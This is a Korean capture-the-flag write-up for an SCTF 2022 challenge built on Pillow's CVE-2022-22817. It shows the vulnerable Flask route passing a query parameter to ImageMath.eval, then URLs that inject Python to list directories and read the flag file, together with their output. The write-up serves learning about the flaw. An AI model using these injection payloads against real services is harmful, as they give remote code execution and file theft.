1. 개요
python pillo CVE-2022-22817 문제, RCE 문제
2. 분석
접속하면, pillow 라이브러리로 계산한 이미지를 보여줍니다.
http://localhost:37359/dynamic/modified?mode=r
코드를 보면, ImageMath.eval 로 mode 파라미터를 실행시킵니다. mode에 python 코드를 넣고 실행시켜봅시다.
@app.route("/dynamic/modified", methods=['GET'])
def modified():
mode = request.args.get('mode', '')
img = Image.open("./original.jpeg")
buf = BytesIO()
try:
if mode:
for w in badlist:
if w in mode:
raise Exception(random.choice(errors))
else:
r,g,b = img.split()
img = ImageMath.eval(mode, r=r, g=g, b=b)
assert type(img) == Image.Image, "not image object: {}".format(img)
img = img.convert("RGB")
img.save(buf, "jpeg")
buf.seek(0)
return send_file(buf, attachment_filename='modified.jpeg', mimetype='image/jpeg')
except Exception as e:
r = """ -------------------------------------\n ("{}")\n ImageMath error {}\n""".format(mode, e)
app.logger.error(r)
return(r)
3. exploit
1) 현재 디렉토리의 파일 목록 출력
secrete 폴더가 수상해보입니다.
http://localhost:37359/dynamic/modified?mode=__import__(%22os%22).listdir(%22.%22)
------------------------------------- ("__import__("os").listdir(".")") ImageMath error not image object: ['app.py', 'original.jpeg', 'pilcve.wsgi', 'secret']
2) secret 폴더 조회
secret 폴더에 flag.txt 파일이 보입니다.
http://localhost:37359/dynamic/modified?mode=__import__("os").listdir("secret")
------------------------------------- ("__import__("os").listdir("secret")") ImageMath error not image object: ['flag.txt']
3) flag read
flag.txt에 플래그가 들어있습니다.
http://localhost:37359/dynamic/modified?mode=open('secret/flag.txt').read()
------------------------------------- ("open('secret/flag.txt').read()") ImageMath error not image object: SCTF{3acH_1m@ge_Has_iTs_0wN_MagIC}
'CTF' 카테고리의 다른 글
[SECCON - Beginners_CTF_2021] werewolf (0) | 2023.05.28 |
---|---|
[SCTF 2022] CUSES (0) | 2023.05.21 |
[SCTF 2022] DocxArchive (0) | 2023.05.20 |
[SCTF 2022] Yet Another Injection (0) | 2023.05.20 |
[WaniCTF 2023] certified 1 (0) | 2023.05.13 |